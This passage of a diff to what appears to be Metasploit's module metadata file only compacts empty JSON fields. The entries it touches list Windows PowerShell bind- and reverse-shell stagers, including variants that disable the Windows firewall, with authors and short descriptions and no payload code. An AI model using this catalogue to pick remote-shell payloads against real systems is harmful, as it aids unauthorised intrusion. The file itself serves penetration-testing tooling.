"rank": 300, "disclosure_date": null, "type": "payload", @@ -227843,9 +202442,7 @@ "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker with UUID Support", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -227859,8 +202456,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227873,9 +202469,7 @@ "payload_cmd/windows/powershell/peinject/bind_hidden_ipknock_tcp": { "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", "fullname": "payload/cmd/windows/powershell/peinject/bind_hidden_ipknock_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227905,8 +202499,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227919,9 +202512,7 @@ "payload_cmd/windows/powershell/peinject/bind_hidden_tcp": { "name": "Powershell Exec, Hidden Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/peinject/bind_hidden_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227951,8 +202542,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227965,9 +202555,7 @@ "payload_cmd/windows/powershell/peinject/bind_ipv6_tcp": { "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", "fullname": "payload/cmd/windows/powershell/peinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227995,8 +202583,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228009,9 +202596,7 @@ "payload_cmd/windows/powershell/peinject/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", "fullname": "payload/cmd/windows/powershell/peinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228040,8 +202625,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228054,9 +202638,7 @@ "payload_cmd/windows/powershell/peinject/bind_named_pipe": { "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/powershell/peinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228082,8 +202664,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228096,9 +202677,7 @@ "payload_cmd/windows/powershell/peinject/bind_nonx_tcp": { "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/peinject/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228124,8 +202703,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228138,9 +202716,7 @@ "payload_cmd/windows/powershell/peinject/bind_tcp": { "name": "Powershell Exec, Bind TCP Stager (Windows x86)", "fullname": "payload/cmd/windows/powershell/peinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228168,8 +202744,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228182,9 +202757,7 @@ "payload_cmd/windows/powershell/peinject/bind_tcp_rc4": { "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/peinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228214,8 +202787,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228228,9 +202800,7 @@ "payload_cmd/windows/powershell/peinject/bind_tcp_uuid": { "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", "fullname": "payload/cmd/windows/powershell/peinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228257,8 +202827,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228271,9 +202840,7 @@ "payload_cmd/windows/powershell/peinject/find_tag": { "name": "Powershell Exec, Find Tag Ordinal Stager", "fullname": "payload/cmd/windows/powershell/peinject/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228299,8 +202866,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228313,9 +202879,7 @@ "payload_cmd/windows/powershell/peinject/reverse_ipv6_tcp": { "name": "Powershell Exec, Reverse TCP Stager (IPv6)", "fullname": "payload/cmd/windows/powershell/peinject/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228343,8 +202907,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228357,9 +202920,7 @@ "payload_cmd/windows/powershell/peinject/reverse_named_pipe": { "name": "Powershell Exec, Windows x86 Reverse Named Pipe (SMB) Stager", "fullname": "payload/cmd/windows/powershell/peinject/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228385,8 +202946,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228399,9 +202959,7 @@ "payload_cmd/windows/powershell/peinject/reverse_nonx_tcp": { "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/peinject/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228427,8 +202985,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228441,9 +202998,7 @@ "payload_cmd/windows/powershell/peinject/reverse_ord_tcp": { "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/peinject/reverse_ord_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228469,8 +203024,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228483,9 +203037,7 @@ "payload_cmd/windows/powershell/peinject/reverse_tcp": { "name": "Powershell Exec, Reverse TCP Stager", "fullname": "payload/cmd/windows/powershell/peinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228513,8 +203065,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228527,9 +203078,7 @@ "payload_cmd/windows/powershell/peinject/reverse_tcp_allports": { "name": "Powershell Exec, Reverse All-Port TCP Stager", "fullname": "payload/cmd/windows/powershell/peinject/reverse_tcp_allports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228557,8 +203106,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228571,9 +203119,7 @@ "payload_cmd/windows/powershell/peinject/reverse_tcp_dns": { "name": "Powershell Exec, Reverse TCP Stager (DNS)", "fullname": "payload/cmd/windows/powershell/peinject/reverse_tcp_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228602,8 +203148,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228616,9 +203161,7 @@ "payload_cmd/windows/powershell/peinject/reverse_tcp_rc4": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/peinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228648,8 +203191,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228662,9 +203204,7 @@ "payload_cmd/windows/powershell/peinject/reverse_tcp_rc4_dns": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", "fullname": "payload/cmd/windows/powershell/peinject/reverse_tcp_rc4_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228694,8 +203234,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228708,9 +203247,7 @@ "payload_cmd/windows/powershell/peinject/reverse_tcp_uuid": { "name": "Powershell Exec, Reverse TCP Stager with UUID Support", "fullname": "payload/cmd/windows/powershell/peinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228737,8 +203274,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228751,9 +203287,7 @@ "payload_cmd/windows/powershell/pingback_bind_tcp": { "name": "Powershell Exec, Windows x86 Pingback, Bind TCP Inline", "fullname": "payload/cmd/windows/powershell/pingback_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228762,9 +203296,7 @@ "bwatters-r7" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nOpen a socket and report UUID when a connection is received (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -228778,8 +203310,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228790,9 +203321,7 @@ "payload_cmd/windows/powershell/pingback_reverse_tcp": { "name": "Powershell Exec, Windows x86 Pingback, Reverse TCP Inline", "fullname": "payload/cmd/windows/powershell/pingback_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228801,9 +203330,7 @@ "bwatters-r7" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to attacker and report UUID (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -228817,8 +203344,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228829,9 +203355,7 @@ "payload_cmd/windows/powershell/powershell_bind_tcp": { "name": "Powershell Exec", "fullname": "payload/cmd/windows/powershell/powershell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228859,8 +203383,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228871,9 +203394,7 @@ "payload_cmd/windows/powershell/powershell_reverse_tcp": { "name": "Powershell Exec", "fullname": "payload/cmd/windows/powershell/powershell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228901,8 +203422,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228913,9 +203433,7 @@ "payload_cmd/windows/powershell/powershell_reverse_tcp_ssl": { "name": "Powershell Exec", "fullname": "payload/cmd/windows/powershell/powershell_reverse_tcp_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228943,8 +203461,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -228955,9 +203472,7 @@ "payload_cmd/windows/powershell/shell/bind_hidden_ipknock_tcp": { "name": "Powershell Exec, Windows Command Shell, Hidden Bind Ipknock TCP Stager", "fullname": "payload/cmd/windows/powershell/shell/bind_hidden_ipknock_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -228986,8 +203501,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229000,9 +203514,7 @@ "payload_cmd/windows/powershell/shell/bind_hidden_tcp": { "name": "Powershell Exec, Windows Command Shell, Hidden Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/shell/bind_hidden_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229031,8 +203543,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229045,9 +203556,7 @@ "payload_cmd/windows/powershell/shell/bind_ipv6_tcp": { "name": "Powershell Exec, Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)", "fullname": "payload/cmd/windows/powershell/shell/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229059,9 +203568,7 @@ "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for an IPv6 connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229075,8 +203582,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229089,9 +203595,7 @@ "payload_cmd/windows/powershell/shell/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)", "fullname": "payload/cmd/windows/powershell/shell/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229104,9 +203608,7 @@ "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229120,8 +203622,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229134,9 +203635,7 @@ "payload_cmd/windows/powershell/shell/bind_named_pipe": { "name": "Powershell Exec, Windows Command Shell, Windows x86 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/powershell/shell/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229147,9 +203646,7 @@ "UserExistsError" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a pipe connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229163,8 +203660,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229177,9 +203673,7 @@ "payload_cmd/windows/powershell/shell/bind_nonx_tcp": { "name": "Powershell Exec, Windows Command Shell, Bind TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/shell/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229190,9 +203684,7 @@ "vlad902 " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a connection (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229206,8 +203698,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229220,9 +203711,7 @@ "payload_cmd/windows/powershell/shell/bind_tcp": { "name": "Powershell Exec, Windows Command Shell, Bind TCP Stager (Windows x86)", "fullname": "payload/cmd/windows/powershell/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229234,9 +203723,7 @@ "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229250,8 +203737,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229264,9 +203750,7 @@ "payload_cmd/windows/powershell/shell/bind_tcp_rc4": { "name": "Powershell Exec, Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/shell/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229280,9 +203764,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229296,8 +203778,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229310,9 +203791,7 @@ "payload_cmd/windows/powershell/shell/bind_tcp_uuid": { "name": "Powershell Exec, Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)", "fullname": "payload/cmd/windows/powershell/shell/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229324,9 +203803,7 @@ "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229340,8 +203817,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229354,9 +203830,7 @@ "payload_cmd/windows/powershell/shell/find_tag": { "name": "Powershell Exec, Windows Command Shell, Find Tag Ordinal Stager", "fullname": "payload/cmd/windows/powershell/shell/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229367,9 +203841,7 @@ "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229383,8 +203855,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229397,9 +203868,7 @@ "payload_cmd/windows/powershell/shell/reverse_ipv6_tcp": { "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager (IPv6)", "fullname": "payload/cmd/windows/powershell/shell/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229411,9 +203880,7 @@ "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229427,8 +203894,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229441,9 +203907,7 @@ "payload_cmd/windows/powershell/shell/reverse_nonx_tcp": { "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/shell/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229454,9 +203918,7 @@ "vlad902 " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229470,8 +203932,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229484,9 +203945,7 @@ "payload_cmd/windows/powershell/shell/reverse_ord_tcp": { "name": "Powershell Exec, Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/shell/reverse_ord_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229496,9 +203955,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229512,8 +203969,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229526,9 +203982,7 @@ "payload_cmd/windows/powershell/shell/reverse_tcp": { "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/windows/powershell/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229540,9 +203994,7 @@ "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229556,8 +204008,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229570,9 +204021,7 @@ "payload_cmd/windows/powershell/shell/reverse_tcp_allports": { "name": "Powershell Exec, Windows Command Shell, Reverse All-Port TCP Stager", "fullname": "payload/cmd/windows/powershell/shell/reverse_tcp_allports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229584,9 +204033,7 @@ "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229600,8 +204047,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229614,9 +204060,7 @@ "payload_cmd/windows/powershell/shell/reverse_tcp_dns": { "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager (DNS)", "fullname": "payload/cmd/windows/powershell/shell/reverse_tcp_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229629,9 +204073,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229645,8 +204087,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229659,9 +204100,7 @@ "payload_cmd/windows/powershell/shell/reverse_tcp_rc4": { "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/shell/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229675,9 +204114,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229691,8 +204128,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229705,9 +204141,7 @@ "payload_cmd/windows/powershell/shell/reverse_tcp_rc4_dns": { "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", "fullname": "payload/cmd/windows/powershell/shell/reverse_tcp_rc4_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229721,9 +204155,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229737,8 +204169,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229751,9 +204182,7 @@ "payload_cmd/windows/powershell/shell/reverse_tcp_uuid": { "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager with UUID Support", "fullname": "payload/cmd/windows/powershell/shell/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229765,9 +204194,7 @@ "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker with UUID Support", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229781,8 +204208,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229795,9 +204221,7 @@ "payload_cmd/windows/powershell/shell/reverse_udp": { "name": "Powershell Exec, Windows Command Shell, Reverse UDP Stager with UUID Support", "fullname": "payload/cmd/windows/powershell/shell/reverse_udp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229808,9 +204232,7 @@ "RageLtMan " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker with UUID Support", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229824,8 +204246,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229838,9 +204259,7 @@ "payload_cmd/windows/powershell/shell_bind_tcp": { "name": "Powershell Exec, Windows Command Shell, Bind TCP Inline", "fullname": "payload/cmd/windows/powershell/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229850,9 +204269,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229866,8 +204283,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229878,9 +204294,7 @@ "payload_cmd/windows/powershell/shell_bind_tcp_xpfw": { "name": "Powershell Exec, Windows Disable Windows ICF, Command Shell, Bind TCP Inline", "fullname": "payload/cmd/windows/powershell/shell_bind_tcp_xpfw", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229889,9 +204303,7 @@ "Lin0xx " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nDisable the Windows ICF, then listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229905,8 +204317,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229917,9 +204328,7 @@ "payload_cmd/windows/powershell/shell_hidden_bind_tcp": { "name": "Powershell Exec, Windows Command Shell, Hidden Bind TCP Inline", "fullname": "payload/cmd/windows/powershell/shell_hidden_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229946,8 +204355,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229958,9 +204366,7 @@ "payload_cmd/windows/powershell/shell_reverse_tcp": { "name": "Powershell Exec, Windows Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/windows/powershell/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229970,9 +204376,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229986,8 +204390,7 @@ "check": false, "post_auth": false, "default_credential": false, - 